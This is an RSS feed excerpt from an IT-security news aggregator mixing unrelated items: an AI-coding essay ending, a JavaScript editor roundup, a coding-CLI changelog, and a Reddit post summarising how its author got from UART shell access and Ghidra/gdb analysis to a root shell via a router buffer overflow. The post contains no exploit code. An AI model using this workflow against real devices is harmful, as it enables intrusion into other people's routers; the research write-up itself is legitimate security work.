<p class="wp-block-paragraph">But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working <a href="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny" data-type="link" data-id="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny">Ultima V</a> clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.</p>



<p class="wp-block-paragraph">The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. </p>



<h2 class="wp-block-heading">We beat the problem into submission with prompts</h2>



<p class="wp-block-paragraph">Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">This problem is not fixed. Look at it closely. The error is right here.</p>
</blockquote>



<p class="wp-block-paragraph">To the desperate: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">We have been working on this same problem for hours now!</p>
</blockquote>



<p class="wp-block-paragraph">To the pathetic: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Can’t you find a different approach to try?!</p>
</blockquote>



<p class="wp-block-paragraph">The astonishing part? It often works.</p>



<p class="wp-block-paragraph">But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">What we have here is a failure to communicate! </p>
</blockquote>



<p class="wp-block-paragraph">We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.</p>



<p class="wp-block-paragraph">In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.</p>



<h2 class="wp-block-heading">A blacker box</h2>



<p class="wp-block-paragraph">The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.</p>



<p class="wp-block-paragraph">And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. </p>



<p class="wp-block-paragraph">It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Die besten JavaScript-Editoren]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Diese Texteditoren bringen JavaScript-Developer weiter.  R.Narong | shutterstock.com



JavaScript-Entwicklern stehen viele gute Tools zur Auswahl. Beinahe zu viele, um den Überblick zu behalten. In diesem Artikel stellen w...]]></description>
<link>https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Diese Texteditoren bringen JavaScript-Developer weiter.  </figcaption></figure><p class="imageCredit">R.Narong | shutterstock.com</p></div>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2832952/was-ist-javascript.html" target="_blank">JavaScript</a>-Entwicklern stehen viele gute Tools <a href="https://www.computerwoche.de/article/2821289/7-javascript-projekte-die-sie-kennen-sollten.html" target="_blank">zur Auswahl</a>. Beinahe <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">zu viele</a>, um den Überblick zu behalten. In diesem Artikel stellen wir Ihnen die besten Texteditoren vor, um:</p>



<ul class="wp-block-list">
<li>mit JavaScript, HTML5 und CSS zu entwickeln, sowie</li>



<li>mit <a href="https://www.computerwoche.de/article/3995075/was-ist-markdown.html" target="_blank">Markdown</a> zu dokumentieren.</li>
</ul>



<h2 class="wp-block-heading"><a href="https://www.sublimetext.com/" target="_blank" rel="noreferrer noopener">Sublime Text</a></h2>



<p class="wp-block-paragraph">Bei Sublime Text sind Sie genau richtig, wenn:</p>



<ul class="wp-block-list">
<li>Sie einen flexiblen, leistungsstarken, erweiterbaren und ausgesprochen schnellen Code-Editor suchen.</li>



<li>es Ihnen nichts ausmacht, für Code Checking, Debugging und Deployment zu anderen Fenstern zu wechseln.  </li>
</ul>



<p class="wp-block-paragraph">Zu den vielen weiteren, bemerkenswerten Stärken von <a href="https://www.computerwoche.de/article/3607168/code-editor-vergleich-visual-studio-code-vs-sublime-text.html" target="_blank">Sublime Text</a> gehören neben seiner Geschwindigkeit und dem Support für mehr als 70 Datei-Typen (darunter JavaScript, HTML und CSS) auch noch:</p>



<ul class="wp-block-list">
<li>Instant-Navigation und Projekt-Switching,</li>



<li>die Option, eine Reihe von Änderungen per Mehrfachauswahl „auf einen Schlag“ auszuführen,</li>



<li>Support für mehrere Bildschirme und Split-Windows,</li>



<li>eine Plug-in-API auf Python-Basis, sowie</li>



<li>eine einheitliche, durchsuchbare Befehlspalette.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Sublime Text ist in vielerlei Hinsicht konfigurier- und anpassbar. </figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Für Programmierer, die von anderen Editoren kommen, hilfreich: Sublime Text unterstützt sowohl TextMate-Bundles (ohne Befehle) als auch die Vi/Vim-Emulation. Dabei lässt sich der Code-Editor in so gut wie jeder Hinsicht anpassen, egal, ob es um Farbschemata, Schriftarten, Tastenkombinationen, Snippets oder die Regeln für die Syntaxhervorhebung geht.</p>



<p class="wp-block-paragraph">Rund um Sublime Text existiert ebenfalls eine aktive Community, die Packages und Plug-ins erstellt und pflegt. Mit Hilfe des <a href="https://sublime.wbond.net/browse" target="_blank" rel="noreferrer noopener">Package Installers</a> sind diverse zusätzliche Funktionen verfügbar.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: unbegrenzte kostenlose Testversion; 65 Dollar pro Jahr und Seat für die Business-Version; 99 Dollar für eine Privatlizenz (Support für drei Jahre);</li>



<li><strong>Plattformen</strong>: Windows, macOS und Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://code.visualstudio.com/" target="_blank" rel="noreferrer noopener">Visual Studio Code</a></h2>



<p class="wp-block-paragraph">Visual Studio Code ist ein quelloffener, kostenloser Editor von Microsoft. Er enthält einen Mix aus Komponenten von Visual Studio und der Open-Source-Shell Atom Electron und bietet umfassenden Support für:</p>



<ul class="wp-block-list">
<li>ASP.Net Core Development mit C# und</li>



<li>Node.js Development mit TypeScript und JavaScript.</li>
</ul>



<p class="wp-block-paragraph">Dank des TypeScript-Compilers und der Salsa-Engine bietet <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a> eine erstaunlich gute JavaScript-Codevervollständigung. Dazu sendet VS Code Ihren JavaScript-Code im Hintergrund an den TypeScript-Compiler, um Typen abzuleiten und eine Symboltabelle zu erstellen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Visual Studio Code darf in einer Auflistung der besten JavaScript-Editoren nicht fehlen.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Während Sie eine Expression eingeben, ermöglicht dieselbe Symboltabelle es IntelliSense, diverse nützliche Pop-up-Optionen zur Codevervollständigung zur Verfügung zu stellen.</p>



<p class="wp-block-paragraph">Der Support für <a href="https://www.computerwoche.de/article/2812266/was-ist-git.html" target="_blank">Git</a> ist umfangreich und simpel zu nutzen, der VS-Code-Debugger bietet eine hervorragende Erfahrung für Node.js und ASP.Net-Projekte. Visual Studio Code kann darüber hinaus auch mit externen Task-Runnern wie gulp und jake integriert werden und kann mit einem umfangreichen Ökosystem für Extensions aufwarten.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://brackets.io/?lang=de" target="_blank" rel="noreferrer noopener">Brackets</a></h2>



<p class="wp-block-paragraph">Brackets ist ein kostenloser Open-Source-Editor, der ursprünglich von Adobe stammt. Das Ziel der Entwickler: Bessere Tools für JavaScript, HTML, CSS und verwandte, offene Webtechnologien bereitzustellen. Auch Brackets selbst ist in JavaScript, HTML und CSS geschrieben.</p>



<p class="wp-block-paragraph">Zusätzlich zu den integrierten Funktionen verfügt Brackets über einen Extension Manager. Der ist auch nötig, denn die sind für diverse Programmiersprachen und Tools aus der Welt der <a href="https://www.computerwoche.de/article/2824968/3-wege-zum-vorzeige-frontend.html" target="_blank">Frontend-Entwickler</a> verfügbar. In der Praxis ist Brackets zwar nicht so schnell wie Sublime Text (siehe weiter oben) oder TextMate (siehe weiter unten). Aber der Editor ist immer noch schnell genug. Brackets bietet umfassenden Support für:</p>



<ul class="wp-block-list">
<li>JavaScript,</li>



<li>CSS,</li>



<li>HTML und</li>



<li>Node.js.</li>
</ul>



<p class="wp-block-paragraph">Darüber hinaus bietet Brackets weitere nützliche Funktionen wie beispielsweise:</p>



<ul class="wp-block-list">
<li>CSS inline in Verbindung mit einer HTML-ID bearbeiten,</li>



<li>eine übersichtliche Benutzeroberfläche und</li>



<li>eine Live-Vorschau für Webseiten in Bearbeitung.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Brackets ist in erster Linie für die Webentwicklung konzipiert.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Auch beim Blick auf die automatische Vervollständigung von JavaScript-Code kann Brackets in der Praxis überzeugen: Es schließt automatisch sämtliche Klammern und stellt Dropdown-Menüs für Keywords, Variablen und Methoden zur Verfügung. Der JavaScript-Editor ist auch in der Lage, den Node.js-Debugger zu steuern und Node über ein Menüelement neu zu starten. Erweiterungen für zusätzliche Funktionen wie <a href="https://www.computerwoche.de/article/2794625/was-javascript-von-typescript-unterscheidet.html" target="_blank">TypeScript</a>– und <a href="https://www.computerwoche.de/article/2831038/html-das-javascript-kann.html" target="_blank">JSX</a>-Support, Bower- und Git-Integration lassen sich schnell und einfach hinzufügen.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://github.com/atom" target="_blank" rel="noreferrer noopener">Atom</a></h2>



<p class="wp-block-paragraph">Dieser kostenlose, quelloffene und “hack”-bare Programmier-Editor stammt aus dem Hause GitHub und lässt sich in die entsprechende Anwendung integrieren. Tausende von Packages und Themes stehen zur Verfügung, um Atom anzupassen. Der Quellcode von Atom wird selbstverständlich auch auf GitHub gehostet, ist in CoffeeScript geschrieben und in Node.js integriert.</p>



<p class="wp-block-paragraph">Bei Atom handelt es sich um eine spezialisierte Variante von Chromium, die eher als Texteditor denn als Webbrowser konzipiert ist. Jedes Atom-Fenster ist im Wesentlichen eine lokal gerenderte Webseite.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">Der Open-Source-Editor von GitHub kann in der Praxis überzeugen.</figcaption></figure><p class="imageCredit">IDG</p></div>



<p class="wp-block-paragraph">In der Praxis zeigt sich Atom performant. Der Editor ist sofort einsatzbereit und überzeugt unter anderem mit:</p>



<ul class="wp-block-list">
<li>einem “Fuzzy-Finder”,</li>



<li>der Möglichkeit, schnell und projektübergreifend zu suchen,</li>



<li>Multi-Cursor- und Windows-Optionen,</li>



<li>Snippets und Code-Folding sowie</li>



<li>der Möglichkeit, TextMate-Grammatiken und -Themen zu importieren.</li>
</ul>



<p class="wp-block-paragraph">Atom ist insbesondere praktisch, um Repositories zu durchsuchen, die von GitHub geklont wurden, weil die GitHub-Applikation zu diesem Zweck ein Kontextmenüelement enthält.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattformen</strong>: Windows, macOS, Linux;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://notepad-plus-plus.org/" target="_blank" rel="noreferrer noopener">Notepad++</a></h2>



<p class="wp-block-paragraph">Ein weiterer kostenloser Open-Source-Editor, der gut für JavaScript geeignet ist – allerdings nur auf Windows läuft. Notepad++ unterstützt außerdem etwa 50 weitere Programmier- und Markup-Sprachen. Neben seinem Multi-Document-Editing-Fenster bietet dieser Editor auch eine “Workspace Tree View”, sowie Registerkarten mit Funktionslisten und Dokumentenübersicht. In der Praxis bekommt man dabei nie das Gefühl, ausgebremst zu werden.</p>



<p class="wp-block-paragraph">Mit Syntax-Farb- und -Folding-Optionen, leistungsstarken Editing-Funktionen sowie Paramter-Hints hat Notepad++ das Zeug zum primären JavaScript-Texteditor. Allerdings ist es bei weitem nicht der umfassendste JavaScript-Editor, wenn es darum geht:</p>



<ul class="wp-block-list">
<li>Code zu generieren,</li>



<li>Refactoring anzustoßen oder</li>



<li>schnell durch große Projekte zu navigieren.</li>
</ul>



<p class="wp-block-paragraph">Nichtsdestotrotz ist Notepad++ ist auch heute noch nützlich – vor allem, wenn es schnell und kostenlos gehen muss.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattform</strong>: Windows;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://www.barebones.com/products/bbedit/" target="_blank" rel="noreferrer noopener">BBEdit</a></h2>



<p class="wp-block-paragraph">Mit BBEdit steht auch für macOS-Benutzer ein proprietärer JavaScript-Editor bereit. Er unterstützt etwa 35 Programmier- und Markup-Sprachen. Für viele weitere Sprachen ist Community-Support (von unterschiedlicher Qualität) über die BBEdit-Website verfügbar. Sowohl die kostenlose als auch die lizenzierte Version bieten Syntaxhervorhebung. Code-Vervollständigung für Funktions- und Variablennamen, einige Keywords und ctags bleiben den Nutzern der kostenpflichtigen Version vorbehalten. Diese lässt sich auch in die <a href="https://www.computerwoche.de/article/2833711/version-control-systems-ein-ratgeber.html" target="_blank">Versionskontrollsysteme</a> Git, Perforce und Subversion integrieren.</p>



<p class="wp-block-paragraph">BBEdit wurde bereits vor einiger Zeit grundlegend überarbeitet und überzeugt in der Praxis nun auch, wenn es größere Dateien verarbeiten muss. Auch was HTML und Markdown angeht, gibt es nichts zu beanstanden – das funktioniert sogar besser als JavaScript.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlose aber eingeschränkte Version; 59,99 Dollar pro Benutzer für die Vollversion;</li>



<li><strong>Plattform</strong>: macOS;</li>
</ul>



<h2 class="wp-block-heading"><a href="https://macromates.com/" target="_blank" rel="noreferrer noopener">TextMate</a></h2>



<p class="wp-block-paragraph">Dieser (ebenfalls macOS-exklusive) Code-Editor war einmal der letzte Schrei, verlor dann stark an Bedeutung und wird inzwischen wieder aktiv weiterentwickelt. TextMate ist zwar keine IDE, lässt sich aber über Bundles, Snippets, Makros und sein Scoping-System mit Funktionen ausstatten, die selbst sprachspezifische Entwicklungsumgebungen vermissen lassen. Was die Geschwindigkeit angeht, ist TextMate fast so schnell wie Sublime Text.</p>



<p class="wp-block-paragraph">Für eine IDE-ähnliche Funktionalität können Sie die Shell-Integration von TextMate verwenden, erwarten Sie aber kein Code Refactoring oder automatische Unit- und Regressionstests. Wenn Sie Grunt richtig einrichten, können Sie Ihre JavaScript-Tests auf dieser Ebene natürlich trotzdem automatisieren.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized">&gt;<figcaption class="wp-element-caption">TextMate bietet diverse Bundles.</figcaption></figure><p class="imageCredit">IDG</p></div>




<p class="wp-block-paragraph">Auch Support für Markdown wird über ein integriertes Bundle bereitgestellt. Dieses enthält:</p>



<ul class="wp-block-list">
<li>eine Preview-Funktion für Dokumente,</li>



<li>ein Markdown-„Cheatsheet“ sowie</li>



<li>diverse Tastenkombinationen, um Markup zu generieren.</li>
</ul>



<p class="wp-block-paragraph">Um TextMate mit Git und GitHub zu integrieren, eignet sich hingegen das Git-Bundle gut. In der Praxis erkennt TextMate vorhandene Git-Repositories und kann diese per Pull-Befehl aus dem Bundle von GitHub aktualisieren. Mit dem SQL-Bundle können Sie mit MySQL- und PostgreSQL-Datenbanken arbeiten.</p>



<ul class="wp-block-list">
<li><strong>Preis</strong>: kostenlos;</li>



<li><strong>Plattform</strong>: macOS;</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.infoworld.com/article/2252269/review-the-10-best-javascript-editors.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I crafted an exploit PoC for a Linskys router]]></title>
<description><![CDATA[I’ve been doing some vulnerability research on a known CVE (CVE-2025-60690) on a consumer Linksys router and wanted to share the workflow I used to investigate it. The process started by targeting the physical hardware: identifying the UART pads on the board using a digital multimeter to access t...]]></description>
<link>https://tsecurity.de/de/3685145/malware-trojaner-viren/how-i-crafted-an-exploit-poc-for-a-linskys-router/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685145/malware-trojaner-viren/how-i-crafted-an-exploit-poc-for-a-linskys-router/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:23 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I’ve been doing some vulnerability research on a known CVE (<strong>CVE-2025-60690</strong>) on a consumer Linksys router and wanted to share the workflow I used to investigate it.</p> <p>The process started by targeting the physical hardware: identifying the UART pads on the board using a digital multimeter to access the Linux-based shell console. From there, I extracted the vulnerable binary (from the CVE description), and reversed it in Ghidra. Next, I used a gdb+gdbserver setup to perform dynamic analysis to investigate the memory behaviors.</p> <p>I managed to successfully achieve RCE from the stack-based buffer overflow vulnerability to land a root shell. The exploit PoC for <strong>CVE-2025-60690</strong> just got cited on the official <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-60690">CVE page</a> and <a href="https://www.exploit-db.com/exploits/52548">exploit-db.com</a>.</p> <p>I just started a YouTube channel dedicated to breaking down IoT hacking concepts. Also, I’ve compiled my step-by-step research notes in a reference doc. If you're working on similar hardware research and want a copy of the notes, drop a comment or shoot me a DM and I'll gladly send them over!</p> <p><a href="https://preview.redd.it/vmci7ftei4dh1.png?width=1240&amp;format=png&amp;auto=webp&amp;s=f1a206fe69710f1aba4479621dd54464cde9fc27">USB-UART connection to Raspberry Pi</a></p> <p><a href="https://preview.redd.it/1sw4y9sdh4dh1.png?width=1892&amp;format=png&amp;auto=webp&amp;s=157fce524160b8a87ecff46de3e7a29dee0f5374">Testing UART pads with digital multimeter</a></p> <p><a href="https://preview.redd.it/gx6x22p0i4dh1.png?width=1497&amp;format=png&amp;auto=webp&amp;s=9192243cd76560b64f263cb5d62c57c30294754f">Testing buffer overflow behavior (gdb+gdbserver setup)</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Dapper-Depth2940"> /u/Dapper-Depth2940 </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uwq84s/how_i_crafted_an_exploit_poc_for_a_linskys_router/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uwq84s/how_i_crafted_an_exploit_poc_for_a_linskys_router/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[[OC] I fixed Davinci Resolve on Linux]]></title>
<description><![CDATA[Those who use davinci resolve on linux definitely know about the issues with AAC and H.264 codecs, drag 'n' drops, and some other bugs. I wonder why nobody has done this before and used bash to manually convert the media, considering how many people were affected by this problem It works as wrapp...]]></description>
<link>https://tsecurity.de/de/3684989/linux-tipps/oc-i-fixed-davinci-resolve-on-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684989/linux-tipps/oc-i-fixed-davinci-resolve-on-linux/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:43 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Those who use davinci resolve on linux definitely know about the issues with AAC and H.264 codecs, drag 'n' drops, and some other bugs. I wonder why nobody has done this before and used bash to manually convert the media, considering how many people were affected by this problem</p> <p>It works as wrapper that currently:</p> <ul> <li>Automatically converts unsupported codecs on import</li> <li>Fixes broken drag 'n' drops</li> <li>Fixes pasting from clipboard</li> </ul> <p>Now the linux experience with resolve should be nearly the same as on windows/mac. Enjoy!</p> <p><a href="https://github.com/fedsfarm/drwrap">https://github.com/fedsfarm/drwrap</a></p> <p>Tested on hyprland with a studio version, feel free to open a PR if it doesn't work on your setup</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/fedsfarm"> /u/fedsfarm </a> <br> <span><a href="https://i.redd.it/k12vmt8ejmeh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v2qfum/oc_i_fixed_davinci_resolve_on_linux/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Developer Experience: Firefox WebDriver Newsletter 153]]></title>
<description><![CDATA[WebDriver is a remote control interface that enables introspection and control of user agents. As such, it can help developers to verify that their websites are working and performing well with all major browsers. The protocol is standardized by the W3C and consists of two separate specifications...]]></description>
<link>https://tsecurity.de/de/3684978/tools/firefox-developer-experience-firefox-webdriver-newsletter-153/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684978/tools/firefox-developer-experience-firefox-webdriver-newsletter-153/</guid>
<pubDate>Wed, 22 Jul 2026 01:04:45 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>WebDriver is a remote control interface that enables introspection and control of user agents. As such, it can help developers to verify that their websites are working and performing well with all major browsers. The protocol is standardized by the<a href="https://www.w3.org/"> W3C</a> and consists of two separate specifications:<a href="https://w3c.github.io/webdriver/"> WebDriver classic</a> (HTTP) and the new<a href="https://w3c.github.io/webdriver-bidi/"> WebDriver BiDi</a> (Bi-Directional).</em></p>



<p><em>This newsletter gives an overview of the work we’ve done as part of the Firefox 153 release cycle</em>.</p>



<h3>Contributions</h3>



<p>Firefox is an open source project, and we are always happy to receive external code contributions to our WebDriver implementation. We want to give special thanks to everyone who filed issues, bugs and submitted patches.</p>



<p> Firefox 153, multiple WebDriver bugs were fixed by contributors:</p>



<ul>
<li>Khalid AlHaddad updated our codebase to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1972065">use constants instead of hard-coded strings</a> for all our session data types.</li>



<li>Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1941404">allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently</a>.</li>



<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
</ul>



<p>WebDriver code is written in JavaScript, Python, and Rust so any web developer can contribute! Read<a href="https://firefox-source-docs.mozilla.org/setup/index.html"> how to setup the work environment</a> and check<a href="https://codetribute.mozilla.org/projects/automation"> the list of mentored issues</a> for Marionette, or the<a href="https://codetribute.mozilla.org/languages/javascript?project%3DWebDriver%2520BiDi"> list of mentored JavaScript bugs for WebDriver BiDi</a>. Join<a href="https://chat.mozilla.org/#/room/%23webdriver:mozilla.org"> our chatroom</a> if you need any help to get started!</p>



<h3>All Changes</h3>



<p>A complete list of developer-facing changes included in this Firefox release is available in the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#webdriver_conformance_webdriver_bidi_marionette">MDN Firefox 153 Release Notes</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.217]]></title>
<description><![CDATA[What's changed

Added emoji shortcode autocomplete in the prompt input: type :heart: to insert ❤️, or :hea for suggestions — disable with the emojiCompletionEnabled setting
Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environ...]]></description>
<link>https://tsecurity.de/de/3684903/downloads/v21217/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684903/downloads/v21217/</guid>
<pubDate>Tue, 21 Jul 2026 23:48:16 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added emoji shortcode autocomplete in the prompt input: type <code>:heart:</code> to insert ❤️, or <code>:hea</code> for suggestions — disable with the <code>emojiCompletionEnabled</code> setting</li>
<li>Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environment variable, instead of losing transcripts silently</li>
<li>Fixed a memory leak where truncated MCP tool outputs kept the full untruncated result in memory for the rest of the session</li>
<li>Fixed Windows auto-update failures that could leave <code>claude.exe</code> missing; failed updates now restore the preserved executable automatically</li>
<li>Fixed background session isolation not canonicalizing symlinked working directories, which could let sessions escape their workspace folder</li>
<li>Fixed auto-compact never triggering for Claude Opus 4.8 on Bedrock and <code>/compact</code> failing once over the limit</li>
<li>Fixed corporate mTLS, TLS-verify, OAuth scope, and proxy settings being ignored in Claude Desktop sessions</li>
<li>Fixed screen reader mode's startup announcement being cut off by the first prompt render, and the thinking status row re-rendering every few seconds to update elapsed time and token counts</li>
<li>Fixed managed settings that set <code>OTEL_EXPORTER_OTLP_ENDPOINT</code> not governing all signals — lower-scope signal-specific overrides no longer redirect telemetry away from the managed endpoint</li>
<li>Fixed <code>--resume</code>/<code>--continue</code> and <code>/resume</code> failing with a TypeError when a transcript has a malformed attachment entry</li>
<li>Fixed Remote Control sessions not showing a pending permission prompt or dialog to viewers that connected after it appeared</li>
<li>Fixed background shells sometimes becoming impossible to stop after a session is sent to the background (<code>/background</code> or <code>←</code>) or when the session exits on a heavily loaded machine, most visible on Windows</li>
<li>Fixed a <code>CLAUDE.md</code> or <code>SKILL.md</code> paths frontmatter value with many brace groups OOM-killing or stalling the CLI at startup — brace expansion is now budget-bounded</li>
<li>Fixed the transcript preview sitting flush against the input area when attaching to a starting background session; it now leaves the same one-line gap as the live layout, so the transcript no longer shifts when the session takes over</li>
<li>Improved footer PR badge links to be clickable hyperlinks even when terminal support can't be detected (e.g. over ssh/tmux); set <code>FORCE_HYPERLINK=0</code> to opt out</li>
<li>Changed the login-expiry warning to appear 3 days before expiry instead of 5</li>
<li>Capped the frontend-design plugin suggestion tip at 3 lifetime impressions instead of repeating indefinitely</li>
<li>Added a cap on concurrently-running subagents (default 20, override with <code>CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS</code>) so one message can't fan out unbounded background agents</li>
<li>Changed subagents to no longer spawn nested subagents by default; set <code>CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH</code> to allow deeper nesting</li>
<li>Fixed <code>--max-budget-usd</code> not stopping background subagents: once the cap is reached, new spawns are denied and running background agents are halted</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]></title>
<description><![CDATA[Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 



But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, ar...]]></description>
<link>https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</guid>
<pubDate>Tue, 21 Jul 2026 21:24:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



